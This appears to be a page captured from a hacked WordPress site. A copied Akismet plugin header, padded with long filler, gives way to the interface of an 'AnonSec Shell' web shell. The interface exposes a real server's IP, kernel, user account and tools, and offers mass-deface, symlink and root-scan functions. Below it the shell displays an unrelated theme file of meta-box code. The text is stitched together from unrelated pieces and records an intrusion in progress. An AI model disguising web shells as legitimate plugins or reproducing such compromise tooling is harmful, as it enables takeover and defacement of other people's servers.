#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 62.109.13.187  /  Your IP : 216.73.216.11   [ Reverse IP ]
Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28
System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : mosrembit ( 6064)
PHP Version : 8.2.28
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/cwd/wp-content/plugins/wd-main-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/self/cwd/wp-content/plugins/wd-main-plugin/meta-box.php
<?php
if ( !class_exists('appliance_myCustomFields') ) {

    class appliance_myCustomFields {
        /**
         * @var  string  $appliance_prefix  The appliance_prefix for storing custom fields in the postmeta table
         */
        var $appliance_prefix = '';
        /**
         * @var  array  $appliance_postTypes  An array of public custom post types, plus the standard "post" and "page" - add the custom types you want to include here
         */
        var $appliance_postTypes = array( "page", "post", "portfolio", "testimonials", "testimonials", "team-member", "wd-team-member");
        /**
         * @var  array  $customFields  Defines the custom fields available
         */
        var $appliance_customFields =	array();


        function __construct() {
            add_action( 'admin_menu', array( &$this, 'appliance_createCustomFields' ) );
            add_action( 'save_post', array( &$this, 'appliance_saveCustomFields' ), 1, 2 );
            // Comment this line out if you want to keep default custom fields meta box
            add_action( 'do_meta_boxes', array( &$this, 'appliance_removeDefaultCustomFields' ), 10, 3 );

            $this->appliance_customFields = array(

                // ---------------------Pages---------------------

                array(
                    "name"			=> "wd_page_show_title_area",
                    "title"			=> esc_html__("Show title area" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "yes"		=>	"Yes",
                        "no"	=>	"No"
                    ),
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_page_title_area_style",
                    "title"			=> esc_html__( "Title area style",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "standard"		=>	"Standard Style",
                        "advanced"	=>	"Advanced Style"
                    ),
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=>	"wd_page_title_area_bg_color",
                    "title"			=>	esc_html__("Title area background color" ,'appliancerepair' ),
                    "description"	=>	"",
                    "float_left" 	=>	"yes",
                    "clear_after" 	=>	"",
                    "type"			=>	"colorpicker",
                    "scope"			=>	array("page"),
                    "capability"	=>	"manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_page_title_area_bg_img",
                    "title"			=> esc_html__( "Title area background image",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after" 	=> "",
                    "type"			=> "image-title-image",
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_page_show_title",
                    "title"			=> esc_html__( "Show title",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "yes"		=>	"Yes",
                        "no"	=>	"No"
                    ),
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_page_title_position",
                    "title"			=> esc_html__( "Title position",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "center"	=>	"center",
                        "left"		=>	"Left",
                        "right"			=>	"right"
                    ),
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),

                array(
                    "name"			=> "wd_page_title_fontsize",
                    "title"			=> esc_html__( "Title font size",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "small"		=>	"Small",
                        "meduim"	=>	"Meduim",
                        "big"			=>	"Big"
                    ),
                    "scope"			=>	array("page"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=>	"wd_page_title_color",
                    "title"			=>	esc_html__( "Title color",'appliancerepair' ),
                    "description"	=>	"",
                    "float_left" 	=>	"yes",
                    "clear_after" 	=>	"",
                    "type"			=>	"colorpicker",
                    "scope"			=>	array("page"),
                    "capability"	=>	"manage_options",
                    "dependency" 	=> ""
                ),

                // ---------------------Pages/>---------------------
                // ---------------------Team---------------------
                array(
                    "name"			=> "job_title",
                    "title"			=> esc_html__("Job title" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "pciture",
                    "title"			=> esc_html__( "Picture",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after" 	=> "",
                    "type"			=> "image-title-image",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "description",
                    "title"			=> esc_html__("Description" ,'appliancerepair' ) ,
                    "description"	=> "",
                    "float_left"	=> "",
                    "clear_after" 	=> "",
                    "type"			=> "textarea",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency"	=> ""
                ),
                array(
                    "name"			=> "wd_twitter",
                    "title"			=> esc_html__("Twitter" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_facebook",
                    "title"			=> esc_html__( "Facebook",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_linkedin",
                    "title"			=> esc_html__( "LinkedIn",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                // ---------------------team/>---------------------


                // ---------------------Wd Team---------------------
                array(
                    "name"			=> "team_member_job_title",
                    "title"			=> esc_html__("Team Member Job title" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_picture",
                    "title"			=> esc_html__("Picture" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after" 	=> "",
                    "type"			=> "image-title-image",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_about",
                    "title"			=> esc_html__("About Team Member" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_skill_1",
                    "title"			=> esc_html__("Skill 1" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),

                array(
                    "name"			=> "team_member_skill_1_value",
                    "title"			=> esc_html__( "Skill 1 Percentage",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_skill_2",
                    "title"			=> esc_html__( "Skill 2",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),

                array(
                    "name"			=> "team_member_skill_2_value",
                    "title"			=> esc_html__("Skill 2 Percentage" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_skill_3",
                    "title"			=> esc_html__("Skill 3" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),

                array(
                    "name"			=> "team_member_skill_3_value",
                    "title"			=> esc_html__( "Skill 3 Percentage",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_twitter",
                    "title"			=> esc_html__("Twitter" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_facebook",
                    "title"			=> esc_html__( "Facebook",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_gplus",
                    "title"			=> esc_html__("Google Plus" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_instagram",
                    "title"			=> esc_html__("Instagram" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_linkedin",
                    "title"			=> esc_html__("LinkedIn" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "team_member_website_link",
                    "title"			=> esc_html__("Website Link" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("wd-team-member"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),

                // ---------------------Wd Team/>---------------------

                // ---------------------testimonail---------------------
                array(
                    "name"			=> "testimonail_image",
                    "title"			=> esc_html__( "Image",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after" 	=> "",
                    "type"			=> "image-title-image",
                    "scope"			=>	array("testimonials"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                // ---------------------testimonail/>---------------------
                // ---------------------video---------------------
                array(
                    "name"			=> "video_type",
                    "title"			=> esc_html__("Video type" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "yes",
                    "clear_after" 	=> "",
                    "type"			=> "selectbox",
                    "values"		=> array(
                        "youtube"		=>	"Youtube",
                        "vimeo"	=>	"Vimeo",
                        "self_hosted"	=>	"Self Hosted"
                    ),
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_youtube_link",
                    "title"			=> esc_html__("youtube link" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_youtube_link",
                    "title"			=> esc_html__("youtube link" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_vimeo_id",
                    "title"			=> esc_html__( "vimeo",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_video_webm",
                    "title"			=> esc_html__("Video webm" ,'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_video_mp4",
                    "title"			=> esc_html__( "Video mp4",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),
                array(
                    "name"			=> "wd_video_ogv",
                    "title"			=> esc_html__( "Video ogv",'appliancerepair' ),
                    "description"	=> "",
                    "float_left" 	=> "",
                    "clear_after"	=> "",
                    "type"			=> "text",
                    "scope"			=>	array("post"),
                    "capability"	=> "manage_options",
                    "dependency" 	=> ""
                ),



                // ---------------------video/>---------------------

            );

        }
        /**
         * Remove the default Custom Fields meta box
         */
        function appliance_removeDefaultCustomFields( $type, $context, $post ) {
            foreach ( array( 'normal', 'advanced', 'side' ) as $context ) {
                foreach ( $this->appliance_postTypes as $postType ) {
                    remove_meta_box( 'postcustom', $postType, $context );
                }
            }
        }
        /**
         * Create the new Custom Fields meta box
         */
        function appliance_createCustomFields() {
            if ( function_exists( 'add_meta_box' ) ) {
                foreach ( $this->appliance_postTypes as $postType ) {
                    if($postType == "page") {
                        add_meta_box( 'my-custom-fields', esc_html__('Custom Fields' ,'appliancerepair' ), array( &$this, 'appliance_displayCustomFields' ), 'page', 'advanced', 'high' );
                    }
                    if($postType == "team-member") {
                        add_meta_box( 'my-custom-fields', esc_html__( 'Team informations','appliancerepair' ), array( &$this, 'appliance_displayCustomFields' ), 'team-member', 'advanced', 'high' );
                    }
                    if($postType == "wd-team-member") {
                        add_meta_box( 'my-custom-fields', esc_html__( 'Team Member informations','appliancerepair' ), array( &$this, 'appliance_displayCustomFields' ), 'wd-team-member', 'advanced', 'high' );
                    }
                    if($postType == "testimonials") {
                        add_meta_box( 'my-custom-fields', esc_html__('Testimonials image' ,'appliancerepair' ), array( &$this, 'appliance_displayCustomFields' ), 'testimonials', 'advanced', 'high' );
                    }
                    if($postType == "post") {
                        add_meta_box( 'my-custom-fields', esc_html__( 'Video post format','appliancerepair' ), array( &$this, 'appliance_displayCustomFields' ), 'post', 'advanced', 'high' );
                    }
                }
            }
        }
        /**
         * Display the new Custom Fields meta box
         */


        function appliance_displayCustomFields() {
            global $post;
            global $wdoptions_proya;
            global $appliance_fontArrays;
            ?>
            <div class="form-wrap">
                <?php
                wp_nonce_field( 'my-custom-fields', 'my-custom-fields_wpnonce', false, true );
                foreach ( $this->appliance_customFields as $customField ) {
                    // Check scope
                    $scope = $customField[ 'scope' ];
                    $dependency = $customField[ 'dependency' ];
                    $output = false;
                    foreach ( $scope as $scopeItem ) {
                        switch ( $scopeItem ) {
                            default: {
                                if ( $post->post_type == $scopeItem ){
                                    if($dependency != ""){
                                        foreach ( $dependency as $dependencyKey => $dependencyValue ) {
                                            foreach ( $dependencyValue as $dependencyVal ) {
                                                if(isset($wdoptions_proya[$dependencyKey]) && $wdoptions_proya[$dependencyKey] == $dependencyVal){
                                                    $output = true;
                                                    break;
                                                }
                                            }
                                        }
                                    }else{
                                        $output = true;
                                    }
                                }else{
                                    break;
                                }
                            }
                        }
                        if ( $output ) break;
                    }
                    // Check capability
                    if ( !current_user_can( $customField['capability'], $post->ID ) )
                        $output = false;
                    // Output if allowed
                    if ( $output ) { ?>
                        <?php
                        switch ( $customField[ 'type' ] ) {
                            case "checkbox": {
                                // Checkbox
                                if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                                echo '<div class="form-field '. $float_left .' form-required">';
                                echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'" style="display:inline;"><b>' . $customField[ 'title' ] . '</b></label>&nbsp;&nbsp;';
                                echo '<input type="checkbox" name="' . $this->appliance_prefix . $customField['name'] . '" id="' . $this->appliance_prefix . $customField['name'] . '" value="yes"';
                                if ( get_post_meta( $post->ID, $this->appliance_prefix . $customField['name'], true ) == "yes" )
                                    echo ' checked="checked"';
                                echo '" style="width: auto;" />';
                                echo '</div>';
                                break;
                            }

                        case "selectbox": {
                            // Selectbox
                            if ( $customField[ 'float_left' ] == 'yes' ) {$float_left = 'float_left';} else {$float_left = '';}
                            echo '<div class="form-field '. $float_left . ' form-required">';
                            echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'" style="display:inline;"><b>' . $customField[ 'title' ] . '</b></label>&nbsp;&nbsp;';
                            echo '<select name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '"> ';
                            ?>
                            <?php foreach ($customField['values'] as $valuesKey => $valuesValue) { ?>
                            <option value="<?php echo esc_attr($valuesKey); ?>" <?php if (get_post_meta( $post->ID, $this->appliance_prefix . $customField['name'], true ) == $valuesKey ) { ?> selected="selected" <?php } ?>><?php echo esc_attr($valuesValue); ?></option>
                        <?php } ?>

                        <?php
                        echo '</select>';
                        echo '</div>';
                        break;
                        }
                        case "selectbox-category": {
                            $categories = get_categories();
                            if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                            echo '<div class="form-field '. $float_left .' form-required">';
                            echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>&nbsp;&nbsp;';
                            echo '<select name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '"> ';
                            echo '<option value=""></option>';
                            foreach($categories as $category) :
                                echo '<option value="'. $category->term_id .'"';
                                if (get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) == $category->term_id ) { echo 'selected="selected"';}
                                echo '>';
                                echo esc_attr($category->name);
                                ?>&nbsp;&nbsp;&nbsp;<?php
                                echo '</option>';

                            endforeach;
                            echo '</select>';
                            echo '</div>';
                            break;
                        }
                        case "image-title-image": {
                        wp_enqueue_media();

                        ?>
                            <script type="text/javascript">
                                jQuery(document).ready(function($) {

                                    jQuery('.upload_button').click(function(){
                                        wp.media.editor.send.attachment = function(props, attachment){
                                            jQuery('.title_image').val(attachment.url);
                                        }
                                        wp.media.editor.open(this);

                                        return false;
                                    });

                                });
                            </script>

                        <?php

                        if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                        echo '<div class="form-field '. $float_left .' form-required">';
                        $wd_page_bg_img = get_post_meta($post->ID, 'wd_page_title_area_bg_img', true);
                        //print $wd_page_bg_img;
                        echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'" style="display:inline;"><b>' . $customField[ 'title' ] . '</b></label>&nbsp;&nbsp;';
                        echo '<div class="image_holder"><input type="text" id="' . $this->appliance_prefix . $customField[ 'name' ] .'" name="' . $this->appliance_prefix . $customField[ 'name' ] . '" class="title_image" value="'.htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ).'" /><input class="upload_button button-primary" type="button" value="Upload file"></div>';
                        echo '</div>';
                        break;
                        }
                        case "font-family": {
                        // Selectbox
                        if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                        echo '<div class="form-field '. $float_left .' ">';
                        echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>&nbsp;&nbsp;';
                        echo '<select name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '"> ';
                        ?>
                            <option value="" <?php if (get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) == "-1" ) { ?> selected="selected" <?php } ?>>Default</option>
                            <?php foreach($appliance_fontArrays as $appliance_fontArray) { ?>
                            <option <?php if (get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) == str_replace(' ', '+', $appliance_fontArray["family"])) { echo "selected='selected'"; } ?>  value="<?php echo str_replace(' ', '+', $appliance_fontArray["family"]); ?>"><?php echo  $appliance_fontArray["family"]; ?></option>
                        <?php } ?>
                        <?php
                        echo '</select>';
                        echo '</div>';
                        break;
                        }
                        case "colorpicker": {


                        add_action( 'load-widgets.php', 'wd_load_color_picker' );
                        wp_enqueue_style( 'wp-color-picker' );
                        wp_enqueue_script( 'wp-color-picker' );
                        //Colorpicker
                        wp_enqueue_media();

                        wp_enqueue_script('wp-color-picker');
                        wp_enqueue_style( 'wp-color-picker' );

                        wp_enqueue_script('colorpick',    get_template_directory_uri() . "/js/bootstrap-colorpicker.min.js", array( 'jquery' ) );
                        wp_enqueue_style ('colorpick',    get_template_directory_uri() . "/css/bootstrap-colorpicker.min.css");

                        ?>
                            <script type="text/javascript">
                                jQuery(document).ready(function($) {

                                    $('.wd-color-picker').colorpicker(
                                        {format: 'rgba'}
                                    );

                                    jQuery('#wd_upload_btn').click(function(){
                                        wp.media.editor.send.attachment = function(props, attachment){
                                            jQuery('#wd_logo_filed').val(attachment.url);
                                        }
                                        wp.media.editor.open(this);

                                        return false;
                                    });

                                });
                            </script>

                        <?php


                        if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                        echo '<div class="form-field '. $float_left .' colorpicker_input">';
                        echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>';
                        echo '<div class="colorSelector"><div style="background-color:'.htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ) .'"></div></div>';
                        echo '<input type="text" class="wd-color-picker" data-default-color="#C0392B" name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '" value="' . htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ) . '" size="10" maxlength="10" />';
                        echo '</div>';
                        break;
                        }
                        case "textarea":
                        case "wysiwyg": {
                        // Text area
                        if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                        echo '<div class="form-field '. $float_left .' form-required">';
                        echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>';
                        echo '<textarea name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '" columns="30" rows="3">' . htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ) . '</textarea>';
                        // WYSIWYG
                        if ( $customField[ 'type' ] == "wysiwyg" ) { ?>
                            <script type="text/javascript">
                                jQuery( document ).ready( function() {
                                    jQuery( "<?php echo $this->appliance_prefix . $customField[ 'name' ]; ?>" ).addClass( "mceEditor" );
                                    if ( typeof( tinyMCE ) == "object" && typeof( tinyMCE.execCommand ) == "function" ) {
                                        tinyMCE.execCommand( "mceAddControl", false, "<?php echo $this->appliance_prefix . $customField[ 'name' ]; ?>" );
                                    }
                                });
                            </script>
                        <?php }
                            echo '</div>';
                            break;
                        }
                            case "short-text-200": {
                                // Plain text field
                                if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                                echo '<div class="form-field '. $float_left .' short_text_200">';
                                echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>';
                                echo '<input type="text" name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '" value="' . htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ) . '" />';
                                echo '</div>';
                                break;
                            }
                            case "hidden": {

                                break;
                            }
                            default: {
                                // Plain text field
                                if ( $customField[ 'float_left' ] == 'yes'){$float_left = 'float_left';} else {$float_left = '';}
                                echo '<div class="form-field '. $float_left .' form-required">';
                                echo '<label for="' . $this->appliance_prefix . $customField[ 'name' ] .'"><b>' . $customField[ 'title' ] . '</b></label>';
                                echo '<input type="text" name="' . $this->appliance_prefix . $customField[ 'name' ] . '" id="' . $this->appliance_prefix . $customField[ 'name' ] . '" value="' . htmlspecialchars( get_post_meta( $post->ID, $this->appliance_prefix . $customField[ 'name' ], true ) ) . '" />';
                                echo '</div>';
                                break;
                            }
                        }
                        ?>
                        <?php if ( $customField[ 'description' ] ) echo '<p>' . $customField[ 'description' ] . '</p>'; ?>
                        <?php if ( $customField[ 'clear_after' ] == 'yes' ) echo '<div class="clear"></div>'; ?>

                        <?php
                    }
                } ?>
            </div>
            <?php
        }



        /**
